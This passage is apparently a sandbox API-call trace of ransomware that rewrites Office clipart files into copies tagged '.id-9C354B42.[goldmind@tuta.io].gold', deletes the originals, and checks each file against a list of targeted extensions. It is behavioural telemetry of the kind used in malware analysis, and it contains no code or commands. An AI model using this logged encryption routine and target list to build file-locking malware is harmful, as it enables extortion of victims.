dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0102.744] GetLastError () returned 0x0 [0102.744] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x409f, lpOverlapped=0x0) returned 1 [0103.142] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x40a0, lpOverlapped=0x0) returned 1 [0103.143] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0103.143] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0103.143] SetEndOfFile (hFile=0x3ac) returned 1 [0103.143] CloseHandle (hObject=0x3ac) returned 1 [0103.143] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0103.143] SetEndOfFile (hFile=0x364) returned 1 [0103.145] CloseHandle (hObject=0x364) returned 1 [0103.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0103.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0103.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0103.697] lstrlenW (lpString=".doc") returned 4 [0103.697] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.697] lstrlenW (lpString=".docx") returned 5 [0103.698] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0103.698] lstrlenW (lpString=".pdf") returned 4 [0103.698] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.698] lstrlenW (lpString=".xls") returned 4 [0103.698] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.698] lstrlenW (lpString=".xlsx") returned 5 [0103.698] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0103.698] lstrlenW (lpString=".ppt") returned 4 [0103.698] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0103.698] lstrlenW (lpString=".zip") returned 4 [0103.698] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.698] lstrlenW (lpString=".rar") returned 4 [0103.698] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.698] lstrlenW (lpString=".bz2") returned 4 [0103.698] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.698] lstrlenW (lpString=".7z") returned 3 [0103.698] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0103.698] lstrlenW (lpString=".dbf") returned 4 [0103.698] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0103.698] lstrlenW (lpString=".1cd") returned 4 [0103.698] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0103.698] lstrlenW (lpString=".jpg") returned 4 [0103.698] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0103.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0103.698] lstrlenW (lpString=".doc") returned 4 [0103.698] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.698] lstrlenW (lpString=".docx") returned 5 [0103.698] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0103.698] lstrlenW (lpString=".pdf") returned 4 [0103.698] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.698] lstrlenW (lpString=".xls") returned 4 [0103.698] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.698] lstrlenW (lpString=".xlsx") returned 5 [0103.698] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0103.698] lstrlenW (lpString=".ppt") returned 4 [0103.698] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0103.698] lstrlenW (lpString=".zip") returned 4 [0103.698] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.699] lstrlenW (lpString=".rar") returned 4 [0103.699] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.699] lstrlenW (lpString=".bz2") returned 4 [0103.699] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.699] lstrlenW (lpString=".7z") returned 3 [0103.699] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0103.699] lstrlenW (lpString=".dbf") returned 4 [0103.699] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0103.699] lstrlenW (lpString=".1cd") returned 4 [0103.699] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0103.699] lstrlenW (lpString=".jpg") returned 4 [0103.699] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.699] lstrcmpiW (lpString1=".BMP", lpString2=".gold") returned -1 [0103.699] lstrlenW (lpString="J0101856.BMP") returned 12 [0103.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0103.794] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=78840) returned 1 [0103.794] CloseHandle (hObject=0x3ac) returned 1 [0103.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 0x20 [0103.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.812] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0103.812] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0103.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.813] GetLastError () returned 0x0 [0103.813] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x133f8, lpOverlapped=0x0) returned 1 [0103.823] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x13400, lpOverlapped=0x0) returned 1 [0103.825] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0103.825] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0103.825] SetEndOfFile (hFile=0x3a8) returned 1 [0103.825] CloseHandle (hObject=0x3a8) returned 1 [0103.825] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0103.825] SetEndOfFile (hFile=0x3b4) returned 1 [0103.827] CloseHandle (hObject=0x3b4) returned 1 [0103.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0103.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0103.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0103.940] lstrlenW (lpString=".doc") returned 4 [0103.940] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0103.940] lstrlenW (lpString=".docx") returned 5 [0103.940] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0103.940] lstrlenW (lpString=".pdf") returned 4 [0103.940] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0103.940] lstrlenW (lpString=".xls") returned 4 [0103.940] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0103.940] lstrlenW (lpString=".xlsx") returned 5 [0103.940] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0103.940] lstrlenW (lpString=".ppt") returned 4 [0103.940] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0103.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0103.940] lstrlenW (lpString=".zip") returned 4 [0103.940] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0103.940] lstrlenW (lpString=".rar") returned 4 [0103.940] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0103.940] lstrlenW (lpString=".bz2") returned 4 [0103.940] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0103.940] lstrlenW (lpString=".7z") returned 3 [0103.940] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0103.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0103.940] lstrlenW (lpString=".dbf") returned 4 [0103.940] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0103.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0103.940] lstrlenW (lpString=".1cd") returned 4 [0103.940] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0103.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0103.940] lstrlenW (lpString=".jpg") returned 4 [0103.940] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0103.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0103.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0103.941] lstrlenW (lpString=".doc") returned 4 [0103.941] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0103.941] lstrlenW (lpString=".docx") returned 5 [0103.941] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0103.941] lstrlenW (lpString=".pdf") returned 4 [0103.941] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0103.941] lstrlenW (lpString=".xls") returned 4 [0103.941] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0103.941] lstrlenW (lpString=".xlsx") returned 5 [0103.941] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0103.941] lstrlenW (lpString=".ppt") returned 4 [0103.941] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0103.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0103.941] lstrlenW (lpString=".zip") returned 4 [0103.941] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0103.941] lstrlenW (lpString=".rar") returned 4 [0103.941] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0103.941] lstrlenW (lpString=".bz2") returned 4 [0103.941] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0103.941] lstrlenW (lpString=".7z") returned 3 [0103.941] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0103.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0103.941] lstrlenW (lpString=".dbf") returned 4 [0103.941] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0103.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0103.941] lstrlenW (lpString=".1cd") returned 4 [0103.941] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0103.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0103.941] lstrlenW (lpString=".jpg") returned 4 [0103.941] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0103.941] lstrcmpiW (lpString1=".BMP", lpString2=".gold") returned -1 [0103.941] lstrlenW (lpString="J0101861.BMP") returned 12 [0103.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0103.980] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=32184) returned 1 [0103.989] CloseHandle (hObject=0x398) returned 1 [0103.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 0x20 [0103.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0104.008] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.009] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.015] GetLastError () returned 0x0 [0104.015] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x7db8, lpOverlapped=0x0) returned 1 [0104.020] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0104.021] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0104.021] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.021] SetEndOfFile (hFile=0x3b4) returned 1 [0104.021] CloseHandle (hObject=0x3b4) returned 1 [0104.021] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.021] SetEndOfFile (hFile=0x398) returned 1 [0104.023] CloseHandle (hObject=0x398) returned 1 [0104.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0104.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0104.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0104.079] lstrlenW (lpString=".doc") returned 4 [0104.079] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.079] lstrlenW (lpString=".docx") returned 5 [0104.079] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0104.079] lstrlenW (lpString=".pdf") returned 4 [0104.079] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.079] lstrlenW (lpString=".xls") returned 4 [0104.079] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.079] lstrlenW (lpString=".xlsx") returned 5 [0104.079] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0104.079] lstrlenW (lpString=".ppt") returned 4 [0104.080] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0104.080] lstrlenW (lpString=".zip") returned 4 [0104.080] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString=".rar") returned 4 [0104.080] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString=".bz2") returned 4 [0104.080] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString=".7z") returned 3 [0104.080] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0104.080] lstrlenW (lpString=".dbf") returned 4 [0104.080] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0104.080] lstrlenW (lpString=".1cd") returned 4 [0104.080] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0104.080] lstrlenW (lpString=".jpg") returned 4 [0104.080] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0104.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0104.080] lstrlenW (lpString=".doc") returned 4 [0104.080] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString=".docx") returned 5 [0104.080] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0104.080] lstrlenW (lpString=".pdf") returned 4 [0104.080] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString=".xls") returned 4 [0104.080] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString=".xlsx") returned 5 [0104.080] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0104.080] lstrlenW (lpString=".ppt") returned 4 [0104.080] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0104.080] lstrlenW (lpString=".zip") returned 4 [0104.080] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString=".rar") returned 4 [0104.080] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString=".bz2") returned 4 [0104.080] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.080] lstrlenW (lpString=".7z") returned 3 [0104.080] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0104.080] lstrlenW (lpString=".dbf") returned 4 [0104.080] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0104.081] lstrlenW (lpString=".1cd") returned 4 [0104.081] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0104.081] lstrlenW (lpString=".jpg") returned 4 [0104.081] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.081] lstrcmpiW (lpString1=".BMP", lpString2=".gold") returned -1 [0104.081] lstrlenW (lpString="J0101866.BMP") returned 12 [0104.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0104.081] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=32184) returned 1 [0104.081] CloseHandle (hObject=0x38c) returned 1 [0104.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 0x20 [0104.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0104.082] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.082] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.082] GetLastError () returned 0x0 [0104.082] ReadFile (in: hFile=0x38c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x7db8, lpOverlapped=0x0) returned 1 [0104.086] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, 